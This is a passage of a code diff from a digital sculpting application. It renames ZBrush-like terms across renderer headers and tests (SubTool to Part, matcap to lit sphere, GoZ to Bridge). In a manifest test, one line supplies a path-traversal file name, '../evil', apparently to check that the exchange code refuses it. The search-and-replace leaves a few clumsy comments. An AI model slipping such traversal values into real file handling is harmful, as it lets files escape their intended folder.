+ // The active colour tints the Lit Sphere material on meshes with no vertex paint (Color palette, as the classic
// main colour does): materialTint multiplies the material there, white leaves it as it is (materialTintFor).
bool colorTintsMaterial = true;
glm::vec3 materialTint{1.0f};
- bool showTexture = true; // with showPolypaint: a SubTool's painted texture (core/Texture.h) multiplies in
- bool showMask = true; // masked areas render darker (ZBrush style)
- bool showPolygroups = false; // colour each polygroup (see polygroupColor)
- int matcap = defaultMatcap(); // built-in MatCap material (core/Matcap.h), Soft Clay; -1 = studio clay lighting
+ bool showTexture = true; // with showVertex paint: a Part's painted texture (core/Texture.h) multiplies in
+ bool showMask = true; // masked areas render darker
+ bool showFaceGroups = false; // colour each face group (see face groupColor)
+ int litsphere = defaultLitSphere(); // built-in Lit Sphere material (core/Lit Sphere.h), Soft Clay; -1 = studio clay lighting
bool showMesh = true;
bool showSplats = true;
float splatOpacity = 1.0f; // global fade for using a capture as reference
- bool dimInactive = true; // SubTools other than the active one render slightly darker (ZBrush style)
+ bool dimInactive = true; // Parts other than the active one render slightly darker
bool motionProxy = false; // the view is moving (Fast Navigation): draw big meshes' lighter proxy (render/Clusters.h)
- bool flatShading = false; // the scene's shading (Material palette): faceted; SubTools can override (core/Document.h)
+ bool flatShading = false; // the scene's shading (Material palette): faceted; Parts can override (core/Document.h)
// Backface culling (#68, Tool > Display): back faces are never drawn, on any mesh (closed or not, from any
// view). Off: they are skipped only where they can't show (a closed mesh seen from outside, Renderer::cull).
bool backfaceCulling = false;
@@ -55,7 +55,7 @@ struct RenderSettings {
// of detail drops to fit; a hardware profile may set it), and the micro edge length to aim for on screen.
size_t renderTriangleBudget = 0; // 0 = TierConfig::activeTriangleBudget (core/TierConfig.h)
float microTargetPx = 2.0f;
- // Viewport shading: Lit Sphere (the matcap or studio lights above) or PBR, which shades the material channels
+ // Viewport shading: Lit Sphere (the lit sphere or studio lights above) or PBR, which shades the material channels
// (core/TextureChannels.h) with image-based lighting from an environment (core/EnvironmentMath.h): GGX
// specular through a prefiltered environment and a BRDF table, diffuse from its SH9, exposure and a tone map.
// Meshes without a PBR texture use pbrRoughness / pbrMetallic with their colour.
@@ -106,11 +106,11 @@ struct MeshOverlay {
float checkerScale = 8.0f; // checker squares per UV unit
};
-// One mesh of the scene for Renderer::syncScene: a SubTool, keyed by its stable id.
+// One mesh of the scene for Renderer::syncScene: a Part, keyed by its stable id.
struct SceneMesh {
uint32_t id = 0;
Mesh* mesh = nullptr;
- bool active = false; // gets mask darkening, polygroup colours and wireframe; never dimmed
+ bool active = false; // gets mask darkening, face group colours and wireframe; never dimmed
bool visible = true; // hidden meshes keep their GPU slot but aren't drawn (or uploaded)
const NormalMapView* normalMap = nullptr; // shade with this normal map (needs the mesh's UVs)
bool wireframe = false; // keep the wireframe's edges on the GPU (built on first need; draw() falls back to
@@ -127,17 +127,17 @@ struct RenderViewport {
glm::vec3 surround{0.118f, 0.118f, 0.125f};
};
-// Display colour of a polygroup id (linear RGB): a stable hash spread over
+// Display colour of a face group id (linear RGB): a stable hash spread over
// pleasant hues. The mesh shader uses the same formula.
-glm::vec3 polygroupColor(uint32_t id);
+glm::vec3 facegroupColor(uint32_t id);
-// Draws every visible SubTool, each from its own GPU buffers (a slot keyed by
-// SubTool id), in clusters (core/UploadOrder.h) culled on the CPU every frame
+// Draws every visible Part, each from its own GPU buffers (a slot keyed by
+// Part id), in clusters (core/UploadOrder.h) culled on the CPU every frame
// (render/Clusters.h) and drawn with one multi-draw. Mesh drawing honours the optional Mesh attributes: colours
-// (polypaint), mask (darkening), polygroups (group colours) and hidden
+// (vertex paint), mask (darkening), face groups (group colours) and hidden
// triangles (not drawn). Mark changed vertices dirty for colour/mask edits and
-// set Mesh::facesDirty after changing `hidden` or `polygroups`. Only what a
-// mesh marks dirty is uploaded, so inactive SubTools upload once.
+// set Mesh::facesDirty after changing `hidden` or `face groups`. Only what a
+// mesh marks dirty is uploaded, so inactive Parts upload once.
class Renderer {
public:
bool init(std::string& error);
@@ -146,7 +146,7 @@ public:
// mesh marked dirty and clears its dirty state (a new slot uploads
// everything), and frees the slots of ids no longer listed.
void syncScene(const std::vector<SceneMesh>& scene);
- // True when SubTool `id` didn't fit in GPU memory at its last full upload (it isn't drawn until it does).
+ // True when Part `id` didn't fit in GPU memory at its last full upload (it isn't drawn until it does).
bool outOfMemory(uint32_t id) const;
// Re-uploads the splats when `version` differs from the last upload.
void syncSplats(const SplatCloud& splats, uint64_t version);
@@ -168,15 +168,15 @@ public:
// PBR view: an environment's lighting is being built (the view shows the previous one meanwhile). `wake` is
// called from the worker thread when it is ready (the app redraws then).
bool environmentPending() const;
- // The PBR planes SubTool `id` has on the GPU (pbrViewPlanes bits: 1 ORM, 2 normal, 4 emissive), for tests.
+ // The PBR planes Part `id` has on the GPU (pbrViewPlanes bits: 1 ORM, 2 normal, 4 emissive), for tests.
uint32_t pbrPlanes(uint32_t id) const;
void setEnvironmentWake(std::function<void()> wake) { envWake_ = std::move(wake); }
- // GL texture of the painted texture of SubTool `id` as last synced (0 if none), for UI previews (rows bottom-up).
+ // GL texture of the painted texture of Part `id` as last synced (0 if none), for UI previews (rows bottom-up).
GLuint paintTexture(uint32_t id) const;
// --- Strokes on heavy meshes (app/AsyncStroke.cpp) ---
- // The predictive stroke preview (render/Ghost.h) drawn on SubTool `id`; an empty stroke turns it off.
+ // The predictive stroke preview (render/Ghost.h) drawn on Part `id`; an empty stroke turns it off.
void setGhost(uint32_t id, const GhostStroke& ghost);
// A sculpt stroke's vertex upload made in two halves: prepareStrokeUpload packs what the mesh marked dirty
// (positions and normals only) and the culling bounds of the clusters that moved, on any thread and without
@@ -217,7 +217,7 @@ public:
// `curvature` (optional, by vertex): the cavity term of every vertex the mesh marked dirty, already worked
// out (Sculptor::strokeCurvature).
bool prepareStrokeUpload(uint32_t id, Mesh& mesh, StrokeUpload& out, const float* curvature = nullptr);
- // GL thread, before handing `up` to another thread: finds SubTool id's slot (slots come and go on the GL
+ // GL thread, before handing `up` to another thread: finds Part id's slot (slots come and go on the GL
// thread, e.g. thumbnails; the other thread uses this one, which stays put in the list).
void bindStrokeUpload(uint32_t id, StrokeUpload& up);
void setPersistentUpload(bool on) { persistentUpload_ = on; } // Fast Upload (Preferences > Performance, experimental)
@@ -226,7 +226,7 @@ public:
// packing finds anyway, without the normal cone, so they are never culled as facing away); at the stroke's
// end this works out the exact ones (GL thread, the mesh no longer changing).
void refineStrokeBounds(uint32_t id, const Mesh& mesh);
- // A draft stroke on SubTool `id` (0: none): the clusters its uploads moved draw with per-pixel face normals
+ // A draft stroke on Part `id` (0: none): the clusters its uploads moved draw with per-pixel face normals
// (theirs are stale) until refineStrokeBounds.
void setDraftNormals(uint32_t id);
// refineStrokeBounds on the solver thread at a stroke's end, after prepareStrokeUpload: the exact bounds go
@@ -240,21 +240,21 @@ public:
// The last syncScene left motion proxies to build (a few milliseconds of them a frame; the rest draw in full).
bool proxiesPending() const { return proxyPending_; }
- // Texture of matcap `index` (sRGB RGBA8, rows bottom-up) for UI previews; 0 if none (or a custom one not
+ // Texture of lit sphere `index` (sRGB RGBA8, rows bottom-up) for UI previews; 0 if none (or a custom one not
// uploaded yet: the next syncScene or draw does).
- GLuint matcapTexture(int index) const;
+ GLuint litsphereTexture(int index) const;
- // --- Thumbnails (LightBox / pickers) ---
+ // --- Thumbnails (Library / pickers) ---
// Renders `mesh` alone (not the synced scene, which is left as it was) into a `size` x `size`
// top-down RGBA8 image with a transparent background. Keeps the caller's framebuffer and viewport.
bool renderMeshThumbnail(Mesh& mesh, const Camera& camera, int size, const RenderSettings& settings,
std::vector<uint8_t>& rgba, std::string& error);
- // SubTool thumbnails (#43): SubTool `id` alone as last synced, from the GPU buffers it already has (nothing
+ // Part thumbnails (#43): Part `id` alone as last synced, from the GPU buffers it already has (nothing
// uploaded, so it stays cheap on 30M+ meshes: those draw their motion proxy where built), framed from the
// angle `yaw`, `pitch` (degrees) into a `size` x `size` top-down RGBA8 image with a transparent background.
- // False when the SubTool has no drawn slot (hidden, not synced yet, out of GPU memory). Keeps the caller's
+ // False when the Part has no drawn slot (hidden, not synced yet, out of GPU memory). Keeps the caller's
// framebuffer and viewport.
- bool renderSubtoolThumbnail(uint32_t id, float yaw, float pitch, int size, const RenderSettings& settings,
+ bool renderPartThumbnail(uint32_t id, float yaw, float pitch, int size, const RenderSettings& settings,
std::vector<uint8_t>& rgba, std::string& error);
private:
@@ -290,7 +290,7 @@ private:
int captureW_ = 0, captureH_ = 0;
GLuint emptyVao_ = 0;
bool thumbnailPass_ = false; // draw(): transparent background, no gradient (renderMeshThumbnail)
- // The GPU copy of one mesh (one SubTool), in the cluster layout of `order`.
+ // The GPU copy of one mesh (one Part), in the cluster layout of `order`.
struct MeshSlot {
uint32_t id = 0;
GLuint vao = 0, lineVao = 0;
@@ -298,7 +298,7 @@ private:
GLuint indexBuffer = 0; // 16-bit, relative to each cluster's first vertex; kClusterTriangles * 3 per cluster
GLuint lineBuffer = 0; // wireframe edges, 16-bit like the triangles, each edge once
GLuint colorBuffer = 0, maskBuffer = 0; // RGBA8 (gamma encoded), R8
- GLuint groupData = 0, groupTexture = 0; // polygroup id per drawn triangle (texture buffer, R16UI or R32UI)
+ GLuint groupData = 0, groupTexture = 0; // face group id per drawn triangle (texture buffer, R16UI or R32UI)
GLuint primData = 0, primTexture = 0; // per GPU block: the first drawn triangle of its cluster (R32UI)
GLuint uvData = 0, uvTexture = 0; // per drawn triangle corner UVs (texture buffer), meshes with a texture
GLuint paintTexture = 0; // the painted texture (sRGB, mipmapped)
@@ -320,7 +320,7 @@ private:
bool hasColors = false, hasMask = false, hasGroups = false, hasUvs = false;
const MeshOverlay* overlay = nullptr; // this frame's (SceneMesh::overlay)
uint64_t overlaySerial = 0; // the one uploaded
- bool overlayColors = false; // the per-triangle data holds overlay colours, not polygroups
+ bool overlayColors = false; // the per-triangle data holds overlay colours, not face groups
bool fresh = true; // nothing uploaded yet
bool regrid = false; // a stroke's vertex left the position grid (prepareStrokeUpload): the next sync re-sends everything
bool outOfMemory = false; // the last full upload ran out of GPU memory: not drawn
@@ -362,7 +362,7 @@ private:
uint32_t indices = 0, lines = 0; // drawn
std::vector<uint32_t> verts; // the mesh vertex of each local index
std::vector<uint16_t> local; // triangles (local indices), while stale
- std::vector<uint32_t> groups; // their polygroups, while stale
+ std::vector<uint32_t> groups; // their face groups, while stale
ClusterBounds bounds;
bool stale = true; // triangles changed: rebuild and upload everything
bool uploaded = false;
@@ -436,9 +436,9 @@ private:
// where it is built (proxyClusters_).
void cull(const MeshSlot& s, const CullView& view, bool proxy = false);
void drawSlot(const MeshSlot& s, bool active, bool flat, const RenderSettings& settings);
- enum class Part { Triangles, Lines, Proxy };
- void drawPatches(const MeshSlot& s, GLenum mode, Part part, GLint primBaseLocation);
- void drawClusters(const MeshSlot& s, const std::vector<uint32_t>& clusters, GLenum mode, Part part, GLint primBaseLocation);
+ enum class DrawPart { Triangles, Lines, Proxy };
+ void drawPatches(const MeshSlot& s, GLenum mode, DrawPart part, GLint primBaseLocation);
+ void drawClusters(const MeshSlot& s, const std::vector<uint32_t>& clusters, GLenum mode, DrawPart part, GLint primBaseLocation);
std::vector<uint32_t> proxyClusters_;
std::vector<GLsizei> drawCounts_;
std::vector<const void*> drawOffsets_;
@@ -458,7 +458,7 @@ private:
struct MeshProgram {
GLuint id = 0;
GLint view = -1, proj = -1, gridOrigin = -1, gridStep = -1, viewport = -1, projScale = -1, baseColor = -1, paint = -1,
- showMask = -1, groups = -1, matcap = -1, matcapCavity = -1, dim = -1, primBase = -1, hasPaint = -1,
+ showMask = -1, groups = -1, litsphere = -1, litsphereCavity = -1, dim = -1, primBase = -1, hasPaint = -1,
normalFlipY = -1, twoSided = -1, checker = -1, checkerScale = -1, tintShift = -1, lightRot = -1,
lightLevels = -1, alpha = -1;
GLint hasOrm = -1, hasEmissive = -1, hasMatNormal = -1, envLevels = -1, exposure = -1, toneMap = -1, material = -1,
@@ -483,11 +483,11 @@ private:
std::vector<DrawItem> drawList_; // visible meshes, in scene order
std::vector<uint32_t> visibleGroups_; // scratch for uploadFaces
std::vector<glm::vec2> visibleUvs_; // scratch for uploadFaces
- std::vector<GLuint> matcapTextures_; // one per matcap (core/Matcap.h): the built-ins, then custom ones
- std::vector<uint64_t> matcapHashes_; // the custom matcap pixels each texture holds
- uint64_t matcapRevision_ = 0;
- void syncMatcaps(); // uploads custom matcaps added or changed since the last call (syncScene and draw call it)
- static void uploadMatcap(GLuint texture, int size, const std::vector<uint8_t>& pixels);
+ std::vector<GLuint> litsphereTextures_; // one per lit sphere (core/Lit Sphere.h): the built-ins, then custom ones
+ std::vector<uint64_t> litsphereHashes_; // the custom lit sphere pixels each texture holds
+ uint64_t litsphereRevision_ = 0;
+ void syncLitSpheres(); // uploads custom lit spheres added or changed since the last call (syncScene and draw call it)
+ static void uploadLitSphere(GLuint texture, int size, const std::vector<uint8_t>& pixels);
};
} // namespace sf
diff --git a/tests/blender/test_exchange.py b/tests/blender/test_exchange.py
index 944fc48c..052007ac 100644
--- a/tests/blender/test_exchange.py
+++ b/tests/blender/test_exchange.py
@@ -4,8 +4,8 @@
# python3 tests/blender/test_exchange.py [--cli path/to/sculptforge-cli]
#
# With --cli, meshes written the way the add-on writes them go through SculptForge (blender_receive, then
-# blender_send) and must come back identical: positions, faces and their winding, UVs, polypaint, mask and
-# polygroups, for objects with a rotation, a scale, a negative scale (mirrored) and n-gons. CMake runs this
+# blender_send) and must come back identical: positions, faces and their winding, UVs, vertex paint, mask and
+# face groups, for objects with a rotation, a scale, a negative scale (mirrored) and n-gons. CMake runs this
# when it finds Python 3 with numpy (ctest -R blender_exchange).
import argparse
import os
@@ -93,9 +93,9 @@ def object_arrays(mesh, mirrored, seed):
loop_uv = rng.random((len(loop_vert), 2)).astype(np.float32).astype(np.float64)
colors = rng.integers(0, 256, (len(co), 3)) / 255.0
mask = rng.integers(0, 65536, len(co)) / 65535.0
- polygroups = rng.integers(0, 5, len(starts))
+ facegroups = rng.integers(0, 5, len(starts))
return {"positions": co, "faces": faces, "uvs": loop_uv[np.maximum(loops, 0)], "colors": colors,
- "mask": mask, "groups": polygroups[face_poly]}, loops
+ "mask": mask, "groups": facegroups[face_poly]}, loops
# ---------------------------------------------------------------------------- unit tests
@@ -130,35 +130,35 @@ def test_canonical_and_reverse():
"corner_map finds each corner's vertex")
-def test_goz_round_trip(tmp):
+def test_bridge_round_trip(tmp):
arrays, _ = object_arrays(grid_with_ngon(), False, 1)
- path = os.path.join(tmp, "t.GoZ")
- exchange.write_goz(path, "Grid Ünïcode.001", **arrays)
- g = exchange.read_goz(path)
- check(g.name == "Grid_n_code_001", "GoZ name escaped like GoB (got %r)" % g.name)
- check(np.allclose(g.positions, arrays["positions"], atol=1e-6), "GoZ positions")
- check(np.array_equal(g.faces, arrays["faces"]), "GoZ faces")
+ path = os.path.join(tmp, "t.Bridge")
+ exchange.write_bridge(path, "Grid Ünïcode.001", **arrays)
+ g = exchange.read_bridge(path)
+ check(g.name == "Grid_n_code_001", "Bridge name escaped like GoB (got %r)" % g.name)
+ check(np.allclose(g.positions, arrays["positions"], atol=1e-6), "Bridge positions")
+ check(np.array_equal(g.faces, arrays["faces"]), "Bridge faces")
tri = arrays["faces"][:, 3] == N
- check(np.allclose(g.uvs[~tri], arrays["uvs"][~tri]) and np.allclose(g.uvs[tri, :3], arrays["uvs"][tri, :3]), "GoZ UVs")
- check(np.allclose(g.colors, arrays["colors"]), "GoZ polypaint")
- check(np.allclose(g.mask, arrays["mask"], atol=1e-9), "GoZ mask")
- check(np.array_equal(g.groups, arrays["groups"]), "GoZ polygroups")
+ check(np.allclose(g.uvs[~tri], arrays["uvs"][~tri]) and np.allclose(g.uvs[tri, :3], arrays["uvs"][tri, :3]), "Bridge UVs")
+ check(np.allclose(g.colors, arrays["colors"]), "Bridge vertexpaint")
+ check(np.allclose(g.mask, arrays["mask"], atol=1e-9), "Bridge mask")
+ check(np.array_equal(g.groups, arrays["groups"]), "Bridge facegroups")
with open(path, "rb") as f:
head = f.read(64)
- check(head.startswith(exchange.HEADER), "GoZ header as GoB writes it")
+ check(head.startswith(exchange.HEADER), "Bridge header as GoB writes it")
def test_manifest(tmp):
folder = os.path.join(tmp, "m")
check(exchange.revision(folder) == -1, "no manifest yet")
- r1 = exchange.write_manifest(folder, [{"name": "A", "file": "r1_000.GoZ"}])
- open(os.path.join(folder, "r1_000.GoZ"), "wb").close()
+ r1 = exchange.write_manifest(folder, [{"name": "A", "file": "r1_000.Bridge"}])
+ open(os.path.join(folder, "r1_000.Bridge"), "wb").close()
check(exchange.next_file_prefix(folder) == "r2_", "next prefix")
- open(os.path.join(folder, "r2_000.GoZ"), "wb").close()
- r2 = exchange.write_manifest(folder, [{"name": "A", "file": "r2_000.GoZ"}])
+ open(os.path.join(folder, "r2_000.Bridge"), "wb").close()
+ r2 = exchange.write_manifest(folder, [{"name": "A", "file": "r2_000.Bridge"}])
check((r1, r2) == (1, 2), "revisions count up")
- check(not os.path.exists(os.path.join(folder, "r1_000.GoZ")), "old files removed")
- check(os.path.exists(os.path.join(folder, "r2_000.GoZ")), "current files kept")
+ check(not os.path.exists(os.path.join(folder, "r1_000.Bridge")), "old files removed")
+ check(os.path.exists(os.path.join(folder, "r2_000.Bridge")), "current files kept")
with open(exchange.manifest_path(folder), "w") as f:
f.write('{"format": "sculptforge-bridge", "objects": [{"name": "x", "file": "../evil"}]}')
try:
@@ -187,8 +187,8 @@ def test_round_trip_through_sculptforge(tmp, cli):
for k, (name, mesh, m) in enumerate(objects):
mirrored = np.linalg.det(m[:3, :3]) < 0
arrays, _ = object_arrays(mesh, mirrored, k + 10)
- file = "r1_%03d.GoZ" % k
- exchange.write_goz(os.path.join(out, file), name, **arrays)
+ file = "r1_%03d.Bridge" % k
+ exchange.write_bridge(os.path.join(out, file), name, **arrays)
entries.append({"name": name, "file": file, "matrix_world": m.tolist()})
sent[name] = (mesh, m, arrays)
exchange.write_manifest(out, entries, "test")
@@ -207,7 +207,7 @@ def test_round_trip_through_sculptforge(tmp, cli):
if name not in sent:
continue
mesh, m, arrays = sent[name]
- g = exchange.read_goz(os.path.join(exchange.inbox(root), entry["file"]))
+ g = exchange.read_bridge(os.path.join(exchange.inbox(root), entry["file"]))
# What the add-on does on receive (update_object): into object space, and the faces compared with the
# ones it sent (reversed for a mirrored object).
local = exchange.transform_points(np.linalg.inv(m), g.positions)
@@ -240,9 +240,9 @@ def test_round_trip_through_sculptforge(tmp, cli):
loop_uv_back = np.zeros_like(loop_uv_sent)
loop_uv_back[loops[loops >= 0]] = back[loops >= 0]
check(np.allclose(loop_uv_back, loop_uv_sent, atol=1e-6), "%s: UVs" % name)
- check(g.colors is not None and np.allclose(g.colors, arrays["colors"]), "%s: polypaint" % name)
+ check(g.colors is not None and np.allclose(g.colors, arrays["colors"]), "%s: vertexpaint" % name)
check(g.mask is not None and np.allclose(g.mask, arrays["mask"], atol=1e-9), "%s: mask" % name)
- check(g.groups is not None and np.array_equal(g.groups, arrays["groups"]), "%s: polygroups" % name)
+ check(g.groups is not None and np.array_equal(g.groups, arrays["groups"]), "%s: facegroups" % name)
# A second send from SculptForge: the next revision, the previous files gone.
r = subprocess.run([cli, "-c", 'blender_receive folder="%s"; blender_send folder="%s"' % (root, root)],
@@ -253,7 +253,7 @@ def test_round_trip_through_sculptforge(tmp, cli):
def test_shapes_through_sculptforge(tmp, cli):
- """Sculpt layers (here the 52 ARKit facial shapes) travel as a shapes file beside the .GoZ, which holds the base
+ """Sculpt layers (here the 52 ARKit facial shapes) travel as a shapes file beside the Bridge, which holds the base
shape: read_shapes gives the names in order and offsets in Blender's axes (jawOpen drops the chin: -Z)."""
root = os.path.join(tmp, "shapes")
r = subprocess.run([cli, "-c", 'new_head; face_shapes_generate; blender_send folder="%s"' % root],
@@ -267,9 +267,9 @@ def test_shapes_through_sculptforge(tmp, cli):
check(len(head) == 1 and head[0].get("shapes"), "the Head object names its shapes file")
if not head or not head[0].get("shapes"):
return
- g = exchange.read_goz(os.path.join(folder, head[0]["file"]))
+ g = exchange.read_bridge(os.path.join(folder, head[0]["file"]))
nv, shapes = exchange.read_shapes(os.path.join(folder, head[0]["shapes"]))
- check(nv == len(g.positions), "shapes file vertex count matches the .GoZ")
+ check(nv == len(g.positions), "shapes file vertex count matches the .Bridge")
names = [s[0] for s in shapes]
check(len(names) == 52 and names[0] == "browDownLeft" and names[-1] == "tongueOut" and "jawOpen" in names,
"the 52 ARKit names, in order")
@@ -277,7 +277,7 @@ def test_shapes_through_sculptforge(tmp, cli):
check(len(jaw[2]) > 100 and jaw[3][:, 2].min() < -0.01, "jawOpen moves the chin down (Blender -Z)")
check(all(s[1] == 0.0 for s in shapes), "weights are sent (all 0 after generating)")
eyes = [o for o in manifest["objects"] if o["name"] == "Eyes"]
- check(len(eyes) == 1 and eyes[0].get("shapes"), "the Eyes SubTool has its eyeLook shapes too")
+ check(len(eyes) == 1 and eyes[0].get("shapes"), "the Eyes Part has its eyeLook shapes too")
def main():
@@ -287,7 +287,7 @@ def main():
with tempfile.TemporaryDirectory() as tmp:
test_polygon_corners()
test_canonical_and_reverse()
- test_goz_round_trip(tmp)
+ test_bridge_round_trip(tmp)
test_manifest(tmp)
if args.cli:
test_round_trip_through_sculptforge(tmp, args.cli)
diff --git a/tests/blender/test_in_blender.py b/tests/blender/test_in_blender.py
index fdaea834..a7a2168a 100644
--- a/tests/blender/test_in_blender.py
+++ b/tests/blender/test_in_blender.py
@@ -7,7 +7,7 @@
# Sends a small scene to SculptForge (sculptforge-cli stands in for the app: blender_receive, then
# blender_send), receives it back and checks that the objects are unchanged: positions, n-gons,
# transforms, materials, modifiers, UVs, colours, mask and face sets. Then a topology change (subdivide)
-# and a new SubTool come back as a rebuilt mesh and a new object. The classic keys preference adds and
+# and a new Part come back as a rebuilt mesh and a new object. The classic keys preference adds and
# removes its keymap items, each bound to a real operator with valid settings. Vector displacement maps that
# SculptForge exports read in Blender with the same orientation, and Blender's EXRs load in SculptForge.
# CMake runs it when `blender` is found.
@@ -256,9 +256,9 @@ def main():
if "mask" in a:
check("mask" in b and np.allclose(a["mask"], b["mask"], atol=1e-4), n + ": mask")
- # Subdivide the box in SculptForge and add a SubTool: the box is rebuilt (transform, material and modifier
- # kept), the new SubTool becomes a new object.
- sculptforge(["blender_receive", "subtool_select name=Box", "subdivide", "subtool_append type=cube name=Extra",
+ # Subdivide the box in SculptForge and add a Part: the box is rebuilt (transform, material and modifier
+ # kept), the new Part becomes a new object.
+ sculptforge(["blender_receive", "part_select name=Box", "subdivide", "part_append type=cube name=Extra",
"blender_send"])
check(bpy.ops.sculptforge.receive() == {"FINISHED"}, "Receive the changed scene: " + bridge.state.message)
box = bpy.data.objects["Box"]
@@ -266,7 +266,7 @@ def main():
check(np.allclose(np.array(box.matrix_world), before["Box"]["matrix"]), "Box: transform kept")
check([m.name for m in box.data.materials] == ["Clay"] and box.modifiers.get("Bevel") is not None,
"Box: material and modifier kept")
- check("Extra" in bpy.data.objects, "the new SubTool is a new object")
+ check("Extra" in bpy.data.objects, "the new Part is a new object")
# Sending and receiving work from Sculpt, Edit and Vertex Paint Mode (Edit Mode keeps UVs in its edit mesh):
# the add-on switches to Object Mode for the transfer and back.
diff --git a/tests/data/CREDITS.md b/tests/data/CREDITS.md
index 9d3e18a3..32f48f76 100644
--- a/tests/data/CREDITS.md
+++ b/tests/data/CREDITS.md
@@ -5,4 +5,4 @@
| `marble-bust.glb` | "Marble Bust 01" by Rico Cilliers, [Poly Haven](https://polyhaven.com/a/marble_bust_01) (the 1k glTF's mesh only, no textures, converted to GLB by SculptForge). A real sculpted human head for the facial shapes tests (tests/ui/face_shapes.sfui, tools/face/shape_grid.py). | [CC0 1.0](https://creativecommons.org/publicdomain/zero/1.0/) |
The other files here were made for SculptForge's tests (GPL-3.0-or-later, like the rest of the repository). The
-lit-sphere images in tests/ui/data (`Gold.png`, `Rose.png`) are drawn by `tests/ui/data/make_test_matcaps.py`.
+lit-sphere images in tests/ui/data (`Gold.png`, `Rose.png`) are drawn by `tests/ui/data/make_test_litspheres.py`.
diff --git a/tests/test_actions.cpp b/tests/test_actions.cpp
index 2dd6c56e..54647b2c 100644
--- a/tests/test_actions.cpp
+++ b/tests/test_actions.cpp
@@ -45,7 +45,7 @@ TEST(action_registry_keys_and_overrides) {
--wire;
CHECK(!reg.handleKey(SDLK_LCTRL, SDL_KMOD_LCTRL));
- // ZBrush-style assignment: taking Ctrl+Y from Redo leaves Redo its other chord.
+ // classic assignment: taking Ctrl+Y from Redo leaves Redo its other chord.
CHECK(reg.assignShortcut("view.wireframe", "Ctrl+Y") == "Redo");
CHECK(reg.shortcutText("view.wireframe") == "Ctrl+Y");
CHECK(reg.shortcutText("edit.redo") == "Ctrl+Shift+Z");
@@ -101,11 +101,11 @@ TEST(search_aliases_are_generic_words) {
CHECK(searchAliasesIn("Dynamic stroke spacing").empty()); // "Dynamic" only as the whole label
// Brushes: SculptForge's stored names; the old ones still load (core/LegacyNames.h).
BrushType t = BrushType::Standard;
- CHECK(std::string(brushName(BrushType::DamStandard)) == "SharpCrease");
- CHECK(std::string(brushLabel(BrushType::DamStandard)) == "Sharp Crease");
- CHECK(brushFromName("DamStandard", t) && t == BrushType::DamStandard);
- CHECK(brushFromName("sharp crease", t) && t == BrushType::DamStandard);
- CHECK(brushFromName("Clay Block", t) && t == BrushType::ClayBuildup);
+ CHECK(std::string(brushName(BrushType::SharpCrease)) == "SharpCrease");
+ CHECK(std::string(brushLabel(BrushType::SharpCrease)) == "Sharp Crease");
+ CHECK(brushFromName("SharpCrease", t) && t == BrushType::SharpCrease);
+ CHECK(brushFromName("sharp crease", t) && t == BrushType::SharpCrease);
+ CHECK(brushFromName("Clay Block", t) && t == BrushType::ClayBlock);
CHECK(brushFromName("snakehook", t) && t == BrushType::SnakeHook);
CHECK(!brushFromName("frobnicate", t));
}
diff --git a/tests/test_attributes.cpp b/tests/test_attributes.cpp
index 29c0d795..aa8dc061 100644
--- a/tests/test_attributes.cpp
+++ b/tests/test_attributes.cpp
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Optional mesh attributes (mask, polypaint, polygroups, hidden, UVs): helpers,
+// Optional mesh attributes (mask, vertex paint, face groups, hidden, UVs): helpers,
// preservation through topology changes and undo, brush hooks and IO.
#include "TestHarness.h"
@@ -21,7 +21,7 @@ using namespace sf;
namespace {
-// Mask = 1 on the upper half (y > 0), red paint on the +x half, polygroup 1 on
+// Mask = 1 on the upper half (y > 0), red paint on the +x half, face group 1 on
// triangles whose centre has z > 0, the lowest triangle hidden.
void paintTestAttributes(Mesh& m) {
m.ensureMask();
@@ -30,12 +30,12 @@ void paintTestAttributes(Mesh& m) {
m.mask[v] = m.positions[v].y > 0.0f ? 1.0f : 0.0f;
m.colors[v] = m.positions[v].x > 0.0f ? glm::vec3(1, 0, 0) : glm::vec3(1);
}
- m.ensurePolygroups();
+ m.ensureFaceGroups();
m.ensureHidden();
for (uint32_t t = 0; t < m.triangleCount(); ++t) {
const auto& tri = m.triangles[t];
glm::vec3 c = (m.positions[tri.x] + m.positions[tri.y] + m.positions[tri.z]) / 3.0f;
- m.polygroups[t] = c.z > 0.0f ? 1u : 0u;
+ m.facegroups[t] = c.z > 0.0f ? 1u : 0u;
m.hidden[t] = c.y < -0.97f ? 1 : 0;
}
m.uvs.resize(m.triangleCount() * 3);
@@ -53,8 +53,8 @@ bool allIn(const std::vector<float>& v, float lo, float hi) {
TEST(attribute_helpers_default_empty) {
Mesh m = makeIcosphere(2);
- CHECK(!m.hasMask() && !m.hasColors() && !m.hasPolygroups() && !m.hasHidden() && !m.hasUvs());
- CHECK(m.maskAt(3) == 0.0f && m.polygroupAt(5) == 0u && !m.triangleHidden(5) && !m.vertexHidden(0));
+ CHECK(!m.hasMask() && !m.hasColors() && !m.hasFaceGroups() && !m.hasHidden() && !m.hasUvs());
+ CHECK(m.maskAt(3) == 0.0f && m.facegroupAt(5) == 0u && !m.triangleHidden(5) && !m.vertexHidden(0));
CHECK(m.colorAt(0, glm::vec3(0.5f)) == glm::vec3(0.5f));
m.ensureMask(0.25f);
CHECK(m.mask.size() == m.vertexCount() && m.maskAt(7) == 0.25f);
@@ -79,13 +79,13 @@ TEST(attributes_survive_subdivision) {
paintTestAttributes(m);
Mesh s = loopSubdivide(m);
CHECK(s.mask.size() == s.vertexCount() && s.colors.size() == s.vertexCount());
- CHECK(s.polygroups.size() == s.triangleCount() && s.hidden.size() == s.triangleCount());
+ CHECK(s.facegroups.size() == s.triangleCount() && s.hidden.size() == s.triangleCount());
CHECK(s.uvs.size() == s.triangleCount() * 3);
for (uint32_t v = 0; v < m.vertexCount(); ++v) CHECK(s.mask[v] == m.mask[v] && s.colors[v] == m.colors[v]);
CHECK(allIn(s.mask, 0.0f, 1.0f));
for (uint32_t t = 0; t < m.triangleCount(); ++t)
for (int k = 0; k < 4; ++k) {
- CHECK(s.polygroups[t * 4 + k] == m.polygroups[t]);
+ CHECK(s.facegroups[t * 4 + k] == m.facegroups[t]);
CHECK(s.hidden[t * 4 + k] == m.hidden[t]);
}
// The first child keeps the parent's first corner UV; midpoints average.
@@ -96,7 +96,7 @@ TEST(attributes_survive_subdivision) {
paintTestAttributes(d.mesh);
CommandRegistry reg;
CHECK(reg.execute(d, "subdivide", {{"levels", 2.0}}).ok);
- CHECK(d.mesh.mask.size() == d.mesh.vertexCount() && d.mesh.polygroups.size() == d.mesh.triangleCount());
